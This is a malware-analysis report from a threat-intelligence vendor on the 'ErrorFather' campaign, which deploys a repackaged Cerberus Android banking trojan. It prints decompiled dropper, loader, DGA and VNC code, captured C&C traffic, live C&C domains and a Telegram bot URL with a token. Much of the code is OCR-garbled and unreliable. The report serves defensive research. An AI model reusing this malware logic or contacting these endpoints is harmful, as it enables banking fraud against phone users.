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Cyble Uncovers ErrorFather Campaign Utilizing Undetected Cerberus Android Trojan Payload to Target Android Users.

Key Takeaways

¢ Cyble Research and Intelligence Labs (CRIL) identified a campaign called “ErrorFather” that utilized an undetected
Cerberus Android Banking Trojan payload.

o ErrorFather employs a sophisticated infection chain involving multiple stages (session-based droppers, native
libraries, and encrypted payloads), complicating detection and removal efforts.

¢ The campaign ramped up in activity in September and October 2024, with more samples and ongoing campaigns
suggesting active targeting and scaling by the Threat Actors (TAs) behind the ErrorFather campaign.

o The final payload employs keylogging, overlay attacks, VNC, and Domain Generation Algorithm (DGA) to perform
malicious activities.

¢ ErrorFather’s incorporation of a Domain Generation Algorithm (DGA) ensures resilience by enabling dynamic C&C
server updates, keeping the malware operational even if primary servers are taken down.

¢ The campaign highlights how repurposed malware from leaks can continue to pose significant threats years after its

original appearance.

Overview

The Cerberus Android Banking Trojan initially emerged in 2019 and was available for rent on underground forums. It
gained notoriety for its ability to target financial and social media apps by exploiting the Accessibility service, using overlay
attacks, and incorporating VNC and keylogging features. Its widespread reach made it one of the most well-known banking

trojans at the time.

World's Best AI-Native Threat Intelligence

i G
Eagiest High
Leader Ta Uze Performer
T o T
035 2028 v

In 2020, following the leak of Cerberus’ source code, a new variant called “Alien” appeared, leveraging Cerberus’ codebase.
Then, in 2021, another banking trojan called “ERMAC” surfaced, also building on Cerberus’ code and targeting over 450

financial and social media apps.
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At the beginning of 2024, a new threat known as the Phoenix Android Banking Trojan was discovered. Claiming to be a
fresh botnet, Phoenix was found being sold on underground forums. However, it was identified as yet another fork of

Cerberus, utilizing its exact source code, whereas Alien and ERMAC had introduced some modifications.

Cyble Research and Intelligence Labs (CRIL) recently uncovered several malicious samples posing as Chrome and Play
Store apps. These samples use a multi-stage dropper to deploy a banking trojan payload, which was found to be leveraging

the Cerberus Banking Trojan.

The identified sample “0Oc27ec44ad5333b4440fbe235428ee58f623a878baefe08f2dcdad62ad5ffce7” acts as a first-stage
dropper application that drops and installs the final-signed.apk from assets, communicates with a Telegram Bot URL, and

sends the device model, brand, and API version.

Request Response

Figure 1 — First-stage malware connecting to Telegram Bot URL

The Telegram Bot ID corresponds to the ErrorFather Bot, as shown in the figure below. Given the bot’s name and the recent

updates to this variant (covered in the Technical Analysis section), we are referring to this campaign as ErrorFather.
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Figure 2 — ErrorFather Telegram bot
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We have identified approximately 15 samples related to the ErrorFather campaign, including session-based droppers and
their associated payloads. The first sample was detected in mid-September 2024, followed by a noticeable increase in

samples during the first week of October 2024, with an active Command and Control (C&C) server suggesting ongoing

campaigns.
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Figure 3 — Samples related to the ErrorFather campaign

The following section provides a technical analysis of the Cerberus malware used by the ErrorFather Campaign.
Technical Details

Multi-staged dropper

The primary APK is a session-based dropper that contains a second-stage APK file named “final-signed.apk” within the
Assets folder. Tt uses the Google Play Store icon and employs a session-based installation technique to install the APK from
the assets, bypassing restricted settings.

public final = le c() {

File file = new File(getCacheDir(), *final-signed.apk");
try {

open = getAssets().open("final-signed.apk");
tStream(file);

F1 1 t eam fileOutputStream = new F1leOutpu
byte[] bArr = new byte[l024];
while (true) {
int read = open.read(barr);
if (read = 0) {
fileoutputStream.write(bArr, 0, read);
} else {
fileoutputStream.close();
open.close();
return file;
}
}
} catch (I0Exception e2) {
b("kopyalama metodunda hata: * + e2.toString());
e2.printStackTrace();
return null;

}

public final veid d(File file, String str) {
PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(l);
PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
try {
sessionParams.setfppPackageName(str);
PackageInstaller.Session openSession = packagelnstaller.openSession(packageInstaller.createSession(sessionParams));
try {

fileInputStream = new F1le ream(file);

try {
OutputStream openWrite = openSession.openWrite(*base.apk®, oL, file.length());
byte[] bArr = new byte[65535];
while (true) {
int read = fileInputStream.read(barr);
if (read == -1) {
break;

Figure 4 — Session-based dropper

The second-stage dropper, “final-signed.apk,” has a manifest file that requests dangerous permissions and services, but the

code implementation is missing, indicating that the malware is packed. It includes a native file, “libmcfae.so,” which is
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immediately loaded after installation to decrypt and execute the final payload.

package boondocks.sketch;

import android.app.Application;
import android.content.Context;
import android.content.res.AssetManager;

/* loaded from: classes.dex */

public class vynng extends Application [
static {

System.loadLibrary("mcfae");
}

private native void hjwejyct(AssetManager assetManager, Context context);

@Override // android.app.Application
public final void onCreate() {
super.onCreate();

the]yct(getAssets( getApplicationContext());
H

Figure 5 — Second-stage dropper loading native file

The native file is responsible for handling the final payload. It uses the encrypted file “rbyypivsnw.png,” obtains the AES
key and initialization vector (IV), performs decryption, and loads the “decrypted.dex” file at the location
/data/data/suds.expend.affiliate.rising/code_cache/, as illustrated in the figure below.
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ivarl = chaodl®
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p_Vard = [*(%)HbvSgqk1Sy) -
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INRFDOGNGNS = (809 JHbVSpNqk15Y)->Cal L0b jecthe thod) (JHsSpngk 15y, 1 tzY0ayq, p_Vard)
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1

if (p_Vard == (jaethodIDiox0) {
free (paagezgfyitp):
aasset close{lvar2);

Figure 6 — Third-stage dropper loading final payload

The decrypted.dex file is the final payload, containing malicious functionalities such as keylogging, overlay attacks, VNC
PII collection, and the use of a Domain Generation Algorithm (DGA) to create a Command and Control (C&C) server.
Notably, when submitted to VirusTotal, the decrypted.dex file was not flagged by any antivirus engine.

@ Ge45a521d4d10bd521656a902601 41304 TIaTI0GI be fdad0?] 3650 0cead T35 Smart search

= 2 0O G Rupali Parate 0

() Mo security vendars flagged this file as malicious

O Follow~  C Reanslyze & Downlosd v = Similar~  More v

Gei4sa521d4d

1433847 3aT0962belded921 359 size Last Analysis Date

97257 KB 2 minutes ago APK

decrypted dex

android  dex

Figure 7 — Zero detection

Leveraging Cerberus code

Based on the detection count, initially, we suspected it to be a fresh banking trojan, but upon deeper analysis of the final

payload, we discovered significant code similarities with Cerberus. The TA behind the ErrorFather campaign had modified
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variable names, used more obfuscation, and reorganized the code, effectively evading detection despite Cerberus being
identified in 2019.

ain.lol,http

tring>

Figure 8 — ErrorFather’s shared preference settings containing common keys and following a similar

structure as Cerberus

Comparing the Cerberus sample and the more recent Phoenix botnet, we noticed changes in this recent variant of Cerberus
used in the ErrorFather campaign, particularly in its C&C structure. These differences suggest that the identified sample is a

distinct malware variant.

Use of DGA

We observed the malware retrieving list of C&C servers using two methods. First, after installation and establishing a
connection with the main C&C server, referred to by the TA as “PoisonConnect,” the malware receives a list of four

additional C&C servers. It then stores these in the “ConnectGates” shared preferences setting, as shown in the figure below.
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5 http:/fcmsspain.homes POST IRestApi

Request

Pretty Raw Hex

1 POST /RestApi HTTP/1.1

2 Content-Type: application/json: utf-8

3 Accept: application/json

4 User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; unknown
Build/PI)

Host: cmsspain.homes

Connection: close

Accept-Enceding: gzip, deflate

Content-Length: 542

. N T ]
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06

200 948 text

Response
Pretty Raw Hex Render n =

HTTP/1.1 200 OK

Date: Sat, 12 Oct 2024 12:06:23 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Vary: Accept-Encoding

cf-cache-status: DYNAMIC

Report-To:
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v47s=Bwbabtkwdtdet SSvaMOl a% 2FvKSsXNTOclusLsx X) LOH394T p% 2F L oYB
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Z1PLzeQ0J%2B4VIU40%30%3D" ], "group® : "cf-nel ", "max_age" : 604800}

J N B W R e

fe60988b 7596273995 c6789942a88165c 0d9edc26eSh5c 6267 4fa99l faa2c
£49¢ca980005dd093b8d 2400c2e30210bd f 37392 46c 00399521 4Ffd 29796882
4b08a0bald79485d56c85254a06d776508ab3c933df05f1bd 72553da2d 0570
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MEL:
{"success_fraction”:0,"report_to":"cf-nel”, "max_age": 604800}
Server: cloudflare

CF-RAY: Bdl6f6aB85d9640dS-BOM

Content-Length: 386

o

ow
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{"this":"socialSettings", "socialSettings":"6709533b07897", "connectGates" :"http:
\/\/emscrocospain. shop, http:\/\/cmsspain.homes, http:\/\/emsspain.lol, http:\/\/c
msspain.shop, ", "PrimeService" :null}

Figure 9 — Malware receiving C&C server list

<string name="GamePlay"> ring=
<string nam connectGates ttp://cmscrocospain.shop,http://cmsspain.homes, http://cmsspain.lol

http s .sho string
<string name="Dalaman
<string

Figure 10 — Received list of C&C server saved to Shared Preference

We observed a slight variation in the C&C communication. Samples from the ErrorFather campaign solely use RC4
encryption to send a full JSON payload, including the action type. In contrast, earlier Cerberus samples utilized Base64
encoding combined with RC4, with the action type sent unencrypted via separate parameters. The figure below illustrates

the C&C communication for both the ErrorFather campaign and the earlier Cerberus samples.
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ra®:8, "statuss": 8", “statusBlack":"

nWagon”™: "http: \/\/cmsspain.homes"}

ErrorFather

{"id": "iwbgrxakaazbry102”, "idSettings™:"", "number1
,"statScreen”:™ cessibilty stats!
=, "activeDevice’ timeworking”:*184%, “statDownloadkodule® :

"statProtect™:"2*
, "statBanks™:"8", "statMails":"
batterylevel":"188", “locale”: “en"}

Figure 11 — C&C communication of ErrorFather (left) and earlier Cerberus samples (Right)

Second, the malware incorporates a DGA (Domain Generation Algorithm) that utilizes the Istanbul timezone to obtain the
current date and time. It then generates MD5 and passes the digest to SHA-1 hash, appending one of four extensions:

i

“.click”, “.com”, “.homes”, and “.net”. These generated domains are stored in the same “ConnectGates” setting. The figure

below demonstrates the DGA used in the ErrorFather campaign.
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Figure 12 — DGA used in the ErrorFather campaign

sirrpleD-ataFnrmat simpleDateFormat = new SimpleDateFormat(®yyyy-mMM.dd"];
Calendar calendar = ca .getinstance();
calendar.setTimeZone (T1in .getTimeZone("Europe/Istanbul*});

try {
byte[] digest = MessageDigest.getInstance(*MD5").digest((simpleDateFormat.format(calendar.getTime()) + “POPzGV4oox*").getBytes());
stringsuilder sb2 = new St Lder();
for (byte bz : digest) {
string hexstring = Int .toHexstring(b2 & 255);
if (hexString.length() == 1] {
sb2.append(=0");
sb2. append (hexString) ;
¥
try {
bytel[] digest2 = MessageDigest.getInstance("SHA-1") .digest(sb2.toString().getBytes());
stringBuilder sb3 = new Stri lder();
for (byte b3 : digest2) {
string hexstring2 = In .toHexString (b3 & 255);

if (hexstring2.length() == 1) {

sb3.append("0°);
sb3. append (hexStringz) ;

substring = sh3.toString().substring(sb.length{) . 15);
[] strarr2 = {substring + =.click", substring + ".com", substring + *.homes", substring + ".net"}:
if (b.f857b == null) {

sharedPreferences sharedPreferences = context.getsharedPreferences(”Sharedriles®, 0);

b.f857b = sharedPreferences;

sharedereferences.edit();

Hashset hashSet = new Hash

1 r sb4 = new Stri

for (int 12 = 0; 12 < 4; i2++)

itring str3 = strarr2(12];

if (thashset.contains(“http://* + str3)] {
hashset.add(*http://* + str3);

asList(b.f8S7b.getstring(-connectGates”, null).split(*,*)]);

)]
}

Figure 13 — DGA code

The figure below illustrates the malware connecting to domains generated by a DGA when the primary C&C server is

unavailable.
304 hupliconsulting.sendce-andrors POST  [Restapl 7] 7877 HTML consulting-serdce.andro.... 17267.155.195
305 hupdiconsulting-sendce-androry POST  [RestApi 512 7881 HTML consulting-service-andro.... 172.67.155195
306 hutpii/consulting-senvice-androru  POST IRestApi 172.67.155.195
307 hatp://650100352122538 com POST IRestApi unknown hest
308 huplEShIO03Sa12253B.click  POST  [RestApi unknownhost
309 hatpd/65b100352122538 net POST IRestApi unknown host
310 hatp:/f656100352122536 homes  POST IRestAp unknowm host

311 hnodeonsulting.sendee.andror POST  /RestAsi 17267155195

Figure 14 — Malware connecting to the domains generated by DGA

In 2022, Alien was observed similarly implementing a DGA process. However, unlike the ErrorFather campaign, it did not

maintain a list of domains, used only the “.xyz” extension, and did not rely on a specific timezone.

Actions used by malware

Page 7 of 14


https://x.com/_CPResearch_/status/1603375823448317953

https://cyble.com /blog/hidden-in-plain-sight-errorfathers-deadly-deployment-of-cerberus/

The TA has renamed the “Actions” to “Types,” as shown in Figure 11. These renamed types indicate the actions performed
by the malware and the expected commands from the C&C server. Upon analysis, we observed that the actions carried out
by this malware closely resemble those seen in earlier Cerberus variants, with the primary difference being the renaming of

action identifiers. Below is a comprehensive list of actions performed by the malware.

e of
Typ Description
action
checkAppList  Send the list of installed application package names
getFile Sends the target application package name to receive the HTML injection file
Retrieve the server’s response, and if it is “ok”, store the application log in the shared
getResponse
preferences file.
PrimeService This action is used to send key logs of targeted application.
getBox This action is used to send SMSs from the infected device.
fa2prime Not Implemented
prContact Used to send contacts to the server
This action is similar to the “checkAppList” function, where the malware stores the list
listAppX of installed application package names based on a command from the server; otherwise,
1st
bp the list remains empty. It will then send the list of installed application package names
using this action name.
slService Sends Accessibility logs
ErrorWatch Sends error logs using this action type

device_status

Sends device status related to WebSocket connection

image Sends captured images as a part of the VNC function

traverse Sends accessibility node information

CheckDomain  This action is sent by DGA generated domain to validate domain
RegisterUser Registers device and receives registration ID, it is similar to bot ID
CheckUser Sends setting information and checks whether the user is registered or not

VNC implementation using MediaProjection

During our malware analysis, we identified two keywords related to VNC: “StatusVNC” and “StatusHVNC.” While HVNC
implementation is absent in this campaign, it was previously present in the Phoenix botnet, a fork of Cerberus. VNC
functionality is implemented using MediaProjection, along with a WebSocket connection to continuously transmit screen

images and receive VINC actions from the Websocket response to interact with the device.

Page 8 of 14



https://cyble.com /blog/hidden-in-plain-sight-errorfathers-deadly-deployment-of-cerberus/

if (LPvTXO TUNM)a1dwleGusT) {
return;
}
string lpyynlnyexvu = this.LzEfUgWwiRorogk25PloagknyBIwekg. Lpyynlnyoxvulthis, this.bkrs¥xvivbeCvhlatmpqgE.ojLLrEgREfSdP1UVke) ;
kl_l-gsagv:nrcnnr kllimgsigwxviyenhdf = this.bkrsyxvivbecwhlatmpgs;
string replaceFirst = lpyynloyoxvu. replaceFirstiklimgsigvaviycnhdf. ZDthwedGpaecOYHONTGYMQO, kllmgsigveviyenhdf. LKaFxkHfshgdacqaoPghaicrhsaveonDfQl ;
okHttptlient build = new CkHttpClient.Builder().readTimecut (6L, TimeUnit,MILLISECONDS).build();
Request.Bullder builder = new Regquest.Builder();
hosrhqucruxmmwz = build.newsebSocket (bui Lder.url{this.bkrsyxvivbecwhlatmpqE. zkwxdTScoeycPTGCKzOec AwBduMdL + replaceFirst + this.bkrsyxvivbeCwhlatmpqE. VzoyAAaDTSCZ
rride /) okhttpd, WebSocketlistener
pubh: void onClosed(WebSocket webSocket, int 1, S str) {
boolean unused = CkJgHsVepNoEkvguhVON. LPYTXQLTUVM] aldwlecusST = false;
ckIgHsVepNaEkvguhVON. this. dnsxosfritbidi ()

1

@verride f/ okhttpd.webSocketListener

rnbhc void onClosing(WebSocket webSocket, int 1, String str) {

boolean unused = CkJgHsVepNoEkvguhVON, LPYTXOLIUVM] alJwleGusT = false;

ik JgHsvephoEkvguhVon. this. LzEf UgvwlRorogk 25PLoagknyBIwekg . xzuwr tsivdanydvhrvmwh | Ck JgHsvephicEkvguhvon, this. getapplicationContext(), ChIgHsvephoEkvguhvon. this.bkrsy

Gverride ff okhttps.websecketlistener

pl‘ilu void onFailure wWebSocket webSocket, T le th, Response respanse) {
boslean unused = CkIgHsVepNoEkvguhVON. LPVTXOL TUVM] 51 JwTeCuST = false;
CkJgHsVephoEkvguhVon, this, dnexosfritbidi(};

ride f/ okhttp3.webSocketListener
puﬂ.u void onMessage(wWebSocket webSocket, Str
try {
JSONObject )SOMOb)ect = new JSONObject(str):
if (ﬁo‘nt;-u ums:nng[ckJul—uv-pmswguhvm this. bkr;v;u)WuMlatmE rphanwa:gmwwqurwzcvw. CkIgHsVepNoEkvguhVON, this .bkrsYxv) vbeCwhlatmpgE. 1KAF
JO8, this . cofOcant ] hvil;
CngHsVemewguhm this. cmBHOcsnIIHLEvWx IbPErwzFAPGU. kakf rf mvmgnkibw)pge ( jSONOb)ect) ; ]

g str) {

} catch (ISONException e {
e.printStackTrace();
L

Figure 15 — The VNC WebSocket connection is used to receive commands that trigger actions on the infected

device

Overlay Attack

The overlay technique remains unchanged from the earlier Cerberus variant. The malware first sends the installed
application package names list to identify potential targets. Once a target is identified, the server responds with the package
names of the target applications. The malware then uses the “getFile” action to retrieve the HTML web injection page, as

shown in the figure below.

T hixpolfcmsspain homes POST  [Restipi 200 578 text 17267183228 058
a- -

Request Response

Pretty  Haw Hex 8 = Pretty Raw Hex  Render (=
1 POST /RestApl MTTP/1.1 1 HTTR/1.1 200 0K

2 Comtent-Type: application/jsen: utf-8 2 Date: Hon., 14 Oct 2024 09:50:16 GMT

3 Accept: application/jsan 3 Content-Type: text/htal; charsetsulF-8

4 User-igent: Dalvik/2.1.0 |Linux: U: kndroid 9: unknewn Build/PI) 4 Connection: close

< Host: cmsspain.homes 5 Vary: Accept-Encoding

6 Connection: close & d-cache-stnus: CYNAMIC

7 Accept-Encoding: grip. deflate 7 Report-Tao

& Comtent-Length: 1236 1 ennpmms‘-\i url®: *https:\/\/a.nel . cloudflare .com/ reparty /va? ssMy JhqgHevBICOTs CAXRECORY Gl
g 351ol rRAyCoPs 28T vogpFAt 1PS3My 3E1 pot 11FVMvdnv SCh1 XKEant NI T
106 P41 7) HhoghSIASD"}] , “group® i “cf-nel® age” : 604800)

}
“nel”, "max_nge": 604800}

2 MEL: {"success_fraction™:0."report_to™:
£1 704 kb 9 Server: cloudflare
fa Bfe6ac 7024 Toddd CF-RAY: Bd26D73609T547ec 80N
daBiel 184649 Cantent -Length: 21

d00de b1, f613d680 7F 34031 77dBC 6330 76016821
d7d2 TI66465 Bbbva.bbvacantige
2641677 d d s9f 200451
t TG4 3c146231
1ceBcESTobTch Dee 3165380475 4da5e 3 deatf 45910 3964051 B 7c08231 100861
Ta7321155beateld 7256620 SA20e I 064761 fc e { aS IS0 I Tcbb 742257 ddSE1dY £ 699ThEL 1 30652 30820
137eeT:

1 25041260 f9677d705bde 761 900251 4045414102 5001 395502025
4501 B93) 662abec ABRE] 525

{"type":"checkAppList", "registerID": "02ghB4z1im9ag", "Listener™:"com.android. documentsui:com.android.quicksearchbox:
com.android messaging:com.android. contacts:com.android. camera2:com.google. android. gm:com.android.calendar :com. bbva
.bbvacontigo:com.android.development_settings:suds.expend.affiliate.rising:com.android.dialer:com.android.gallery3
d:org.chromium, webview_shell:com.lynxspa.bancopopelare: com.amaze . filemanager:com. android. settings:com.android  calc
ulator2:com.android.email:com.android. music:com.android. deskelock:com. genymot ion. superuser :com. android. traceur :com
.android. customlocale2: com.android. development™}

Figure 16 — Malware sends installed application package names and receives target application
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B hispellemsspain homes POST  IRestigi
Request

Pretty  Raw  Hex
1L POST /Pestdpi HTTP/1.1

Z Comtent-Type: application/json: utf-2

3 heeept: spplication/jsen

4 User-Agent: Dalvik/2.1.0 (Linux: U Android S unknown Buald/PI)
S Host: emespuin.homes

& Comnectien: close

7 Accept-Encoding: grip, deflate

& Comtent-Length: 56

k]

ws

71561951
Sa

i('(ype" :"getFile", "name" : "com.bbva. bbvacontigo™} I

1818 test 17267483008 055
a= =

Response
Pretty  Raw  Mex  Render v =

1 HITR/L1

200 0K

2 Date: Mon. 14 Oct 2024 09:59:17 oMT
3 Content-Type: text/htal; charset=UTF-8
4 Connection: close
5 Vary: Accept-Encoding
6 cf-cache-status: DYNAMIC
7 Repart-Ta:

{*endpoints™:[{=url™: "https: \/\/a.nel . cloudflare, com\/report |\ /vA7s=ASTbGFPIAIFRCPUGS2LY 28b25PD
VdoedsDSgMeopzKGE 41 Ge 2L\ 2Bm gy bHL 2Py BaMABW1 e DUDL R 224 28r 1 1 22y Whwd by SKOWUDdUWd < Cd r 1G] 3XBE DPhEFL
800}

OTERGTF KT SC2I0IF) SWASDA S0 1], "group™
B MEL: {"success_fraction®:0,"report_to":
9 Server: clovdflare
10 CF-RiY: 8d26b73aTbandlss-BoH
11 Content -Length: 137548
12
13 77294 1

TEobesTafl 7

EOARTA #ENE (n TEA Eafin

TUCTYPE WCmL
<html lang="en">
<head>
<meta charset="UTF-g">
<title>Document</title>

<link rel="stylesheet”

awesome .min.css">
</seript>

</script>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min. js"></script> e
P P Jax.googleap ) Jquery. Jquery ] P

href="https://maxcdn.bootstrapcdn.com/bootstrap/d.1.0/css/bootstrap.min. css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/d.6.1/css/font -

<script src="https://stackpath.bootstrapcdn,com/bootstrap/4.1.3/js/bootstrap, bundle .min, j5"5

<script sre="https://cdnjs.cloudflare. com/ajax/1ibs/jquery mask/1.14.15/ jquery.mask.js"= oce i

faebisf f1781cd
2e6136

4ad6ef 2all f7’]{i§51 f2ff

1062

<meta name="viewport" content="width=device-width, initial-scale=1.8"> H 1 T8e

5. of af{726d10

217250411800 7h Teefl17acbdlOckeBl3e3le

K211

I d41380dnd

114 1 Hdc
d 7#821 4n28b

1faba
tedfagffb74b0ff (d6657de 18de1 32891 fab 102de9
1515671281 738

TELVIC

Figure 17 — Receives HTML injection file

When the victim interacts with the target application, the malware loads a fake phishing page over the legitimate app. This

tricks the victim into entering their login credentials and credit card details on the fraudulent banking overlay page.
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NIF, NIE, Tarjeta o Pasaporte

Clave de acceso @

¢Has olvidado tu clave de acceso?

Al acceder aceptas las condiciones legales

Hazte cliente

Soy cliente sin usuario online

Figure 18 — HTML injection page for BBVA bank

The Cerberus malware used in the ErrorFather campaign can carry out financial fraud through VNC, keylogging, and

overlay attacks.

Conclusion
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The Cerberus Android Banking Trojan, first identified in 2019, became a prominent tool for financial fraud using VNC,
keylogging, and overlay attacks. Following the leak of its source code, various threat actors repurposed the Cerberus code to
develop new banking trojans, including Alien, ERMAC, and Phoenix. The ErrorFather campaign is another example of this
pattern. While the TA behind ErrorFather has slightly modified the malware, it remains primarily based on the original

Cerberus code, making it inappropriate to classify it as entirely new malware.

In the ErrorFather campaign, the malware uses a multi-stage dropper to deploy its payload and leverages techniques such as
VNC, keylogging, and HTML injection for fraudulent purposes. Notably, the campaign utilizes a Telegram bot named
“ErrorFather” to communicate with the malware. Despite being an older malware strain, the modified Cerberus used in this
campaign has successfully evaded detection by antivirus engines, further highlighting the ongoing risks posed by retooled

malware from previous leaks.

The ErrorFather campaign exemplifies how cybercriminals continue to repurpose and exploit leaked malware source code,

underscoring the persistent threat of Cerberus-based attacks even years after the original malware’s discovery.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the best practices given below:

¢ Download and install software only from official app stores like Google Play Store or the iOS App Store.
¢ Use a reputed anti-virus and internet security software package on your connected devices, such as PCs, laptops, and
mobile devices.

o Use strong passwords and enforce multi-factor authentication wherever possible.

¢ Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device where
possible.

* Be wary of opening any links received via SMS or emails delivered to your phone.

¢ Ensure that Google Play Protect is enabled on Android devices.

» Be careful while enabling any permissions.

¢ Keep your devices, operating systems, and applications updated.

MITRE ATT&CK® Techniques

Tactic Technique ID Procedure

Initial Access
Phishing (T1660) Malware distributing via phishing site

(TA0027)

Execution Malware using native code to drop final
Native API (T1575)

(TA0041) payload

Defense Evasion Masquerading: Match Legitimate Malware pretending to be the Google

(TA0030) Name or Location (T1655.001) Play Update and Chrome application

Defense Evasion o . Collects installed application package
Application Discovery (T1418) ) ) )

(TA0030) name list to identify target

Defense Evasion Indicator Removal on Host: Uninstall

. L Malware can uninstall itself
(TA0030) Malicious Application (T1630.001)
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https://attack.mitre.org/techniques/T1630/001/

Defense Evasion
(TA0030)

Collection
(TA0035)

Discovery
(TA0032)

Discovery
(TA0032)

Collection
(TA0035)

Collection
(TA0035)

Collection
(TA0035)

Collection
(TA0035)

Collection
(TA0035)

Command and
Control (TA0037)

Command and
Control (TA0037)

Exfiltration
(TA0036)
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Input Injection (T'1516)

Input Capture: Keylogging
(T1417.001)

Software Discovery (T1418)

System Information Discovery
(T1426)

Screen Capture (T1513)

Audio Capture (T1429)

Call Control (T1616)

Protected User Data: Contact List
(T1636.003)

Protected User Data: SMS Messages
(T1636.004)

Dynamic Resolution: Domain
Generation Algorithms (T1637.001)

Encrypted Channel: Symmetric
Cryptography (T1521.001)

Exfiltration Over C2 Channel (T1646)

Indicators of Compromise (IOCs)

Indicators

0c27ec44ad5333b4440fbe235428ee58f623a878baefe08f2dcdad62ad5ffce7
9373860987¢13cff160251366d2c6eb5cbb3867e 0544cc3bed124e6e3f5200416d073b77

880c9f65c5e2007bfed3a2179e64e36854266023a00e1a7066cbcf8ee6c93cbe
cb6f9bcd4b491858583ee9f10b72c0582bf94ab1 d9763c68ebbfaeef4334cfefc54b322f

6c045a521d4d19bd52165ea992e91d338473a70962bcfded9213e592cea27359
c7ebf2adfd6482e1eb2c3b05f79cdff5¢733c47b f9d5b402acee67675f87d33d7d52b364
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Malware can mimic user interaction,
perform clicks and various gestures,

and input data

Malware can capture keystrokes

Malware collects installed application

package list

The malware collects basic device

information.

Malware can record screen content

Malware captures Audio recordings

Malware can make calls

Malware steals contacts

Steals SMSs from the infected device

Malware has implemented DGA
Malware uses RC4 for encrypting C&C
communication

Sending exfiltrated data over C&C

server

Indicator L.

Description
Type
SHA256

Session-based
SHA1 q

ropper
MD5 PP
SHA256

Second-stage
SHA1 4

ropper
MD5 PP
SHA256 Final
SHA1 undetected
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https://attack.mitre.org/tactics/TA0032
https://attack.mitre.org/techniques/T1426/
https://attack.mitre.org/tactics/TA0035/
https://attack.mitre.org/techniques/T1513/
https://attack.mitre.org/tactics/TA0035/
https://attack.mitre.org/techniques/T1429/
https://attack.mitre.org/tactics/TA0035/
https://attack.mitre.org/techniques/T1616/
https://attack.mitre.org/tactics/TA0035/
https://attack.mitre.org/techniques/T1636/003/
https://attack.mitre.org/tactics/TA0035/
https://attack.mitre.org/techniques/T1636/004/
https://attack.mitre.org/tactics/TA0037
https://attack.mitre.org/techniques/T1637/001/
https://attack.mitre.org/tactics/TA0037
https://attack.mitre.org/techniques/T1521/001/
https://attack.mitre.org/tactics/TA0036/
https://attack.mitre.org/techniques/T1646/
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MD5 Cerberus

payload

hxxp://cmsspain[.homes hxxp://consulting-service-andro[.ru
. . . URL C&C server

hxxp://cmscrocospain[.shop hxxp://cmsspain[.lol hxxp://cmsspain[.shop

Distribution
hxxp://elstersecure-plus|.online hxxps://secure-plus|.online/ElsterSecure[.apk URL and phishing

URL
hxxps://apil.telegram|[.org/bot7779906180: AAE3uTyuoDX0YpV1DBJyz5zgwvvVg- URL Telegram bot
up4xo/sendMessage?chat_id=5915822121&text= URL

4¢7f90d103b54ba78b85f92d967ef4cdcc0102d3756e1400383e774d2f27bb2e
8f3e3a2a63110674ea63fb6abe4al1889fc516dd6851e8c47298¢7987e67{f9b6
€570e075f9676e79a1c43e9879945f4fe0f54ef5c78a5289fe72ce3ef6232a14
a2c701fceaded167fdb3131d292124eb55389bc746fcef8ca2c8642ba925895¢
8faa93be87bb327e760420b2faa33f0f972899a47c80dc2bc07b260c18dfcb14
ee87b4c50e5573cba366efaa01b8719902b8bed8277f1903e764f9b4334778d0
136d00629e8cd59a6be639b0eaef925fd8cd68cbcbdb71a3a407836c560b8579
6c045a521d4d19bd52165ea992e91d338473a70962bcfded9213e592cea27359 SHA256
516282073b7d81c630d4c5955d396e1e47a2f476f03dea7308461fa62f465c11
5bd21d0007d34{67faeb71081309e25903f15f237c1f7b094634584ca9dd873e
880c9f65c5e2007bfed3a2179e64e36854266023a00e1a7066cbcf8ee6c93cbe
0c27ec44ad5333b4440fbe235428ee58f623a878baefe08f2dcdad62ad5ffce7
6b8911dfdf1961de9dd2c3f9b141a6c5b1029311c66e9ded9bcadd21635c0c49
befe69191247abf80c5a725e1f1024f7195fa85a7af759db2546941711f6e6ae
9d966baefa96213861756fde502569d7bba9c755d13e586e7aaca3d0949cbdc3

Malicious First
and second-
stage files
from

the ErrorFather

campaign
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